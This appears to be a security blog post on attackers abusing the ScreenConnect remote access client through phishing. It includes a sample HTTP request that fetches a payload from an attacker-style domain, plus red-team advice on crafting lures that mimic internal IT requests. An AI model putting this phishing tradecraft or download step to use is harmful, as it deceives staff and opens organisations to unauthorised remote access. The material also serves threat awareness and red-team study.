ScreenConnect Client (Ab)used by Attackers: A Novel Approach

In recent campaigns, threat actors have been leveraging ScreenConnect Client, a legitimate remote access tool, for malicious purposes. This approach signals a shift from developing complex malware to exploiting existing applications with built-in functionalities. The targeted organizations spanned various sectors, highlighting a broader strategic choice by attackers to penetrate defenses using tools administrators may already trust.

During this campaign, threat actors focused on organizations that heavily rely on remote IT support capabilities, possibly including small to mid-sized businesses. The tactics were sophisticated and suggest an evolving threat landscape where attackers increasingly tap into tools like ScreenConnect Client to bypass conventional defenses. While exact attribution remains unclear, the methods indicate a professional and targeted operation aligning with current techniques seen from advanced persistent threats (APTs).

How It Was Built

The infrastructure for these attacks relied heavily on existing and trusted services. By distributing the ScreenConnect Client executable via phishing emails, attackers managed to quickly hook into legitimate IT environments. A typical phishing email subject line read “Urgent: Remote Support Needed for Immediate Action”, crafted to incite prompt responses from help desk personnel.

Once recipients clicked the link in the email, users were directed to a spoofed corporate support page mimicking their own IT department’s site. Here, they were prompted to download the ScreenConnect Client under the guise of a necessary troubleshooting tool. This was achieved by utilizing SSL-enabled delivery domains with plausible names, such as

secure-update.yourbusinesssupport.com

and

itsolutions.network-support.com


GET /support/payload?session_id=123456 HTTP/1.1

Host: secure-update.yourbusinesssupport.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept: */*

Referer: https://company-internal.helpdesk.portal/login

Why It Worked

The campaign’s effectiveness was largely due to leveraging an already trusted tool. The use of ScreenConnect Client exploited a gap where users and administrators fail to distinguish legitimate remote support activities from malicious ones. By operating through channels that are inherently trusted, attackers avoided triggering traditional malware flags.

Moreover, the choice of phishing descriptors and domains mimicked internal protocols, making the emails less suspicious. Using conditionally relevant urgency cues such as remote troubleshooting reinforced legitimacy. This manipulation of routine IT operations workflows enabled the campaigns to effectively exploit existing trust structures within organizations.

Operator Takeaways

For a red team, this method underscores the value of exploiting trusted applications over bespoke malware. The key takeaway here is the importance of evaluating target environments to identify which legitimate applications might serve as effective vectors. This strategy also reveals the potential for adaptive phishing lures that align closely with business norms and IT protocols.

Furthermore, integrating well-crafted social engineering elements that tap into IT service expectations can enhance campaign efficacy. Emulating recognizable communication patterns and infrastructure can significantly enhance a campaign’s success rate by blending malicious actions into the target’s daily operations seamlessly.

Good / Better / Best

Good: Utilize legitimate applications like ScreenConnect to bypass security measures through social engineering, assessing the target’s remote access policies and routines.

Better: Craft phishing content meticulously. Ensure domain patterns and sender identities accurately reflect the target’s known contacts. This includes styling emails to mirror common internal IT requests.

Best: Regularly update delivery mechanisms to maintain relevance with the target’s evolving technology and security environment. Innovate phishing strategies to include dynamic elements that cater to situational organizational changes, such as staff distributions or recent policy updates.

References

Learn more about how attackers exploit ScreenConnect Client from the original analysis conducted by SANS Internet Storm Center.